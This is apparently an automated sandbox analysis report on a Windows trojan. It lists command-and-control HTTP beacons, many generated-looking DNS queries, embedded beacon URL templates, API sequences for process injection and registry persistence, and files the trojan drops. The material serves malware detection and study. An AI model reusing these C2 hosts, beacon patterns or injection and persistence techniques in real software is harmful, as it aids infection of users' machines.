Source: global traffic	HTTP traffic detected: GET /d/N?02E4E8BC79E0E8BC79D6E89479E4E86FE56CEBB83FE5E87CD1E6ED8A57D6C6854BD4D89279 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022471DA242071DA241671F224247109B8AC72DE6225711A8C2674EC0A165FE3161441F424 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022471DA242071DA241671F224247109B8AC72DE6225711A8C2674EC0A165FE3161441F424 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0290624A2D94624A2DA262622D906299B118614E6B91628A8592677C03A24C731FA052642D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0290624A2D94624A2DA262622D906299B118614E6B91628A8592677C03A24C731FA052642D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C255B05CC655B05CF055985CC25563C04A56B41AC35570F4C0508672F07B896EF2659E5C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C255B05CC655B05CF055985CC25563C04A56B41AC35570F4C0508672F07B896EF2659E5C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A280D965A680D9659080F165A2800AF92A83DD23A38019CDA085EF4B90AEE05792B0F765 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A280D965A680D9659080F165A2800AF92A83DD23A38019CDA085EF4B90AEE05792B0F765 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028C245EC388245EC3BE2476C38C248D5F04275A858D249E6B8E2168EDBE0A67F1BC1470C3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028C245EC388245EC3BE2476C38C248D5F04275A858D249E6B8E2168EDBE0A67F1BC1470C3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020C96BF400896BF403E9697400C966CDC8495BB060D967FE80E93896E3EB886723CA69140 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020C96BF400896BF403E9697400C966CDC8495BB060D967FE80E93896E3EB886723CA69140 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C22CEFF3C62CEFF3F02CC7F3C22C3C6F4A2FEBB5C32C2F5BC029D9DDF002D6C1F21CC1F3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C22CEFF3C62CEFF3F02CC7F3C22C3C6F4A2FEBB5C32C2F5BC029D9DDF002D6C1F21CC1F3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C45977D0C05977D0F6595FD0C459A44C4C5A7396C559B778C65C41FEF6774EE2F46959D0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C45977D0C05977D0F6595FD0C459A44C4C5A7396C559B778C65C41FEF6774EE2F46959D0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020FE83E530BE83E533DE816530FE8EDCF87EB3A150EE8FEFB0DED087D3DC607613FD81053 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020FE83E530BE83E533DE816530FE8EDCF87EB3A150EE8FEFB0DED087D3DC607613FD81053 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: iwqkinetikcv.nu
Source: global traffic	DNS traffic detected: DNS query: pkejap.mp
Source: global traffic	DNS traffic detected: DNS query: guldcp.cm
Source: global traffic	DNS traffic detected: DNS query: xvmiuqwa.ph
Source: global traffic	DNS traffic detected: DNS query: utbidet-ugeas.biz
Source: global traffic	DNS traffic detected: DNS query: wiqcrsiquexjra.st
Source: global traffic	DNS traffic detected: DNS query: wimgtxamm.ph
Source: global traffic	DNS traffic detected: DNS query: erykeemmgke.kr
Source: global traffic	DNS traffic detected: DNS query: hucdyujmukfsx.vg
Source: global traffic	DNS traffic detected: DNS query: saoucywmfc.ws
Source: global traffic	DNS traffic detected: DNS query: rkoolkuso.ws
Source: global traffic	DNS traffic detected: DNS query: gsgkwkexyax.nu
Source: global traffic	DNS traffic detected: DNS query: maamyodasotuzc.tk
Source: global traffic	DNS traffic detected: DNS query: vyayoa.cm
Source: global traffic	DNS traffic detected: DNS query: moiuldundirk.ws
Source: global traffic	DNS traffic detected: DNS query: kgsoqig.ph
Source: global traffic	DNS traffic detected: DNS query: qmwdirotq.cg
Source: global traffic	DNS traffic detected: DNS query: ycszjetjpejct.vg
Source: global traffic	DNS traffic detected: DNS query: yqkoakpyunsvf.tk
Source: global traffic	DNS traffic detected: DNS query: jgsbwcowgmycas.nu
Source: global traffic	DNS traffic detected: DNS query: ocnbwwofuyzgm.cg
Source: global traffic	DNS traffic detected: DNS query: klciqaifzak.kr
Source: global traffic	DNS traffic detected: DNS query: kmczget.mp
Source: global traffic	DNS traffic detected: DNS query: ucotvodykr.vg
Source: global traffic	DNS traffic detected: DNS query: crseowveq.st
Source: global traffic	DNS traffic detected: DNS query: upovpdivoqjiyq.kr
Source: global traffic	DNS traffic detected: DNS query: tjmwgkitqlqgse.cm
Source: global traffic	DNS traffic detected: DNS query: samcoy.mp
Source: global traffic	DNS traffic detected: DNS query: idysusqkfajm.nu
Source: global traffic	DNS traffic detected: DNS query: vyvwgip.ws
Source: global traffic	DNS traffic detected: DNS query: gtbygcu.nu
Source: global traffic	DNS traffic detected: DNS query: mmecmudamoqyj.rw
Source: global traffic	DNS traffic detected: DNS query: aumqsmx.kr
Source: global traffic	DNS traffic detected: DNS query: qaggihab.ph
Source: global traffic	DNS traffic detected: DNS query: cimedejqa.st
Source: global traffic	DNS traffic detected: DNS query: fqhoeumlg.cm
Source: global traffic	DNS traffic detected: DNS query: grrhyqk.ph
Source: global traffic	DNS traffic detected: DNS query: ikociagcpeks.rw
Source: global traffic	DNS traffic detected: DNS query: cqlcikiwc.ws
Source: global traffic	DNS traffic detected: DNS query: zadvbviauek.cg
Source: global traffic	DNS traffic detected: DNS query: wyqemapilnsck.cm
Source: global traffic	DNS traffic detected: DNS query: ojeecaygeyz.tk
Source: global traffic	DNS traffic detected: DNS query: gubwnmu.ws
Source: global traffic	DNS traffic detected: DNS query: oqfoicsg.ws
Source: global traffic	DNS traffic detected: DNS query: mcyzcuygmql.ph
Source: global traffic	DNS traffic detected: DNS query: nfltmjmfkobpe.cg
Source: global traffic	DNS traffic detected: DNS query: eukkoics.kr
Source: global traffic	DNS traffic detected: DNS query: wiiyeajqad.cm
Source: global traffic	DNS traffic detected: DNS query: lawqb.st
Source: global traffic	DNS traffic detected: DNS query: eohwtcodugmx.nu
Source: global traffic	DNS traffic detected: DNS query: soovonz.kr
Source: global traffic	DNS traffic detected: DNS query: ebeodkksay.mp
Source: global traffic	DNS traffic detected: DNS query: kapgekkcijhi.cm
Source: global traffic	DNS traffic detected: DNS query: ewoqoodzi.kr
Source: global traffic	DNS traffic detected: DNS query: sajtw.cg
Source: global traffic	DNS traffic detected: DNS query: apzkasiwau.cm
Source: global traffic	DNS traffic detected: DNS query: cookqyrwoyfqn.mp
Source: global traffic	DNS traffic detected: DNS query: ermxzitmkoe.nu
Source: global traffic	DNS traffic detected: DNS query: ywpkzeos.nu
Source: global traffic	DNS traffic detected: DNS query: kgyei.cg
Source: global traffic	DNS traffic detected: DNS query: xymaafimcbiqng.ws
Source: global traffic	DNS traffic detected: DNS query: xgmtyuvkuv.st
Source: global traffic	DNS traffic detected: DNS query: wqsresks.rw
Source: global traffic	DNS traffic detected: DNS query: iigsdiwuimi.mp
Source: global traffic	DNS traffic detected: DNS query: acqowoppegz.nu
Source: global traffic	DNS traffic detected: DNS query: llpkgwvgqyh.cm
Source: global traffic	DNS traffic detected: DNS query: euuduok.ph
Source: global traffic	DNS traffic detected: DNS query: sxsyiekdaqqd.ws
Source: global traffic	DNS traffic detected: DNS query: ajwumsxge.kr
Source: global traffic	DNS traffic detected: DNS query: ckamnmua.st
Source: global traffic	DNS traffic detected: DNS query: voagvgkqdcif.ph
Source: global traffic	DNS traffic detected: DNS query: luayepf.kr
Source: global traffic	DNS traffic detected: DNS query: alnavtodes.rw
Source: global traffic	DNS traffic detected: DNS query: vexmm.vg
Source: global traffic	DNS traffic detected: DNS query: ouvgx.nu
Source: global traffic	DNS traffic detected: DNS query: rhxrwxpwwiu.mp
Source: global traffic	DNS traffic detected: DNS query: cwfyspgrwwftoa.tk
Source: global traffic	DNS traffic detected: DNS query: mfimmkqw.rw
Source: global traffic	DNS traffic detected: DNS query: wmqgigbtk.ph
Source: global traffic	DNS traffic detected: DNS query: dzgoqliffwuk.tk
Source: global traffic	DNS traffic detected: DNS query: kaduu.cm
Source: global traffic	DNS traffic detected: DNS query: qlncimsmq.kr
Source: global traffic	DNS traffic detected: DNS query: wyoyzqyggunly.tk
Source: global traffic	DNS traffic detected: DNS query: kxdqmoy.mp
Source: global traffic	DNS traffic detected: DNS query: uszukil.mp
Source: global traffic	DNS traffic detected: DNS query: quivjq.ph
Source: global traffic	DNS traffic detected: DNS query: qysbgykaee.mp
Source: global traffic	DNS traffic detected: DNS query: hlmok.cm
Source: global traffic	DNS traffic detected: DNS query: medoeahgwk.nu
Source: global traffic	DNS traffic detected: DNS query: aykunskrl.ws
Source: global traffic	DNS traffic detected: DNS query: smwacsgd.kr
Source: global traffic	DNS traffic detected: DNS query: swnyn.vg
Source: global traffic	DNS traffic detected: DNS query: onciwoggkhkqe.nu
Source: global traffic	DNS traffic detected: DNS query: ikvwxxugr.cm
Source: global traffic	DNS traffic detected: DNS query: xkqosiwf.cg
Source: global traffic	DNS traffic detected: DNS query: mgwqlykmcf.cg
Source: global traffic	DNS traffic detected: DNS query: otduu.vg
Source: global traffic	DNS traffic detected: DNS query: aehufkfkkkhsq.cm
Source: global traffic	DNS traffic detected: DNS query: gibwyyvuq.kr
Source: global traffic	DNS traffic detected: DNS query: ovngiemtnjj.mp

Source: f3VrANv7Uw.exe, f3VrANv7Uw.exe, 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://%s.biz/d/G?
Source: f3VrANv7Uw.exe, f3VrANv7Uw.exe, 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://%s.biz/d/N?
Source: f3VrANv7Uw.exe, 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://%s.biz/d/N?http://%s.biz/d/G?http://%s/d/rpt?%smodemisdn%u.%u.%u.%s
Source: oumkovet.exe, 00000001.00000003.2148625054.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF
Source: oumkovet.exe, 00000001.00000003.2114463338.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A
Source: oumkovet.exe, 00000001.00000003.2126128477.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2
Source: oumkovet.exe, 00000001.00000003.2102997788.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9

Source: C:\Windows\SysWOW64\oumkovet.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: 0_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,FindCloseChangeNotification,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,FindCloseChangeNotification,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHan		0_2_00403A19
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: 0_2_004019AA CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrlenA,OpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,CloseHandle,CloseHandle,VirtualAlloc,lstrcpyA,Process32Next,CloseHandle,CloseHandle,		0_2_004019AA

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: 0_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,FindCloseChangeNotification,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,FindCloseChangeNotification,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHan		0_2_00403A19
Source: C:\Windows\SysWOW64\oumkovet.exe	Code function: 2_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,FindCloseChangeNotification,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpenKeyExA,RegOpenKeyExA,lstr		2_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	File created: C:\Windows\SysWOW64\oumkovet.exe	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\adfabic.exe	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\ugpeatar.exe	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\orcemoof.dll	Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: 0_2_00403A19		0_2_00403A19
Source: C:\Windows\SysWOW64\oumkovet.exe	Code function: 2_2_00403A19		2_2_00403A19

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\tledoh-ogeab.dll 7CD473A4B131E8BEB8F9BAAE5876D47A74D7DFE0AD76B5F189DDE8FBE0285E91
Source: Joe Sandbox View	Dropped File: C:\Windows\SysWOW64\orcemoof.dll 76CF016FD77CB5A06C6ED4674DDC2345E8390C010CF344491A6E742BAF2C0FB0

Source: f3VrANv7Uw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/6@679/5

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

